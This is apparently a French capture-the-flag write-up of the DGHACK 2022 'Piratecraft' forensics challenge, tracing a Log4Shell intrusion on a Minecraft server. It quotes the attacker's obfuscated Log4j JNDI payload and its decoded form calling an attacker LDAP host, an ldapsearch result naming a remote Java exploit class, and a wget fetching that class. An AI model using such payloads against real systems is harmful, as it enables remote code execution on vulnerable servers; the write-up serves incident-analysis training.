DGHACK: Piratecraft

Bonjour et bienvenu sur ce quatrième write-up portant sur les challenges de la DGHACK, édition 2022,  organisé par la Direction Générale de l’Armement du Ministère des Armées.

Au programme, minecraft, log4j et vilain hacker.

Description

Un service d’hébergement de serveurs de jeux fournit des VPS avec Minecraft préinstallé pour leurs clients. Certaines attaques ciblent les serveurs et les font tomber en panne. Vous êtes le nouvel administrateur système. Vous avez accès à un serveur attaqué. Détectez l’intrusion sur le serveur Minecraft et essayez de comprendre les actions malveillantes.

Information: utilisez les options suivantes avec la commande ssh pour éviter les déconnexions :

ssh <address> -p <port> -o ServerAliveInterval=30 -o ServerAliveCountMax=2

On inspecte les fichiers dans lesquels l’attaquant aurait pu laisser des traces, en commençant par le bash_history

On comprend effectivement pourquoi le server minecraft a disparu: le launcher a été supprimé par le groupe des unhappy competitor. On note ce nom, il va nous servir pour plus tard… ou même pour tout de suite enfaîte:

et oui qui dit hack de serveur minecraft cette année dit log4j, et on est en plein dedans. On reconnait la payload classique obfusqué d’une Log4j

${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//unhappy.competitor.com:1389/a}

qui décodé donne

${jndi:ldap://unhappy.competitor.com:1389/a}

Pour rappel, une log4j fonctionne de cette manière:

En fouillant à taton dans les fichiers de logs on tombe sur l’ip en clair des attaquants.

On se connecte à leur serveur en LDAP.

root@malice:~# ldapsearch -H ldap://174.10.54.15:1389/a -x
# extended LDIF
#
# LDAPv3
# base <> (default) with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

#
dn:
javaClassName: foo
javaCodeBase: http://174.10.54.15:50666/
objectClass: javaNamingReference
javaFactory: Exploit84686564564857543

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

On récupère la class java malicieuse sur leur serveur

wget http://unhappy.competitor.com:50666/Exploit84686564564857543.class

Qu’on interprète

Et le tour est joué


Publié

dans

, , ,

par

Étiquettes :